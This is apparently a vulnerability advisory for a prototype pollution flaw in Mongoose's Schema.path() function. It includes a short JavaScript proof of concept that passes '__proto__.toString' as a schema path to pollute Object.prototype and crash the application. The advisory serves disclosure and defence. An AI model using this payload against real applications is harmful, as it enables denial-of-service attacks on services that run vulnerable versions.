Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)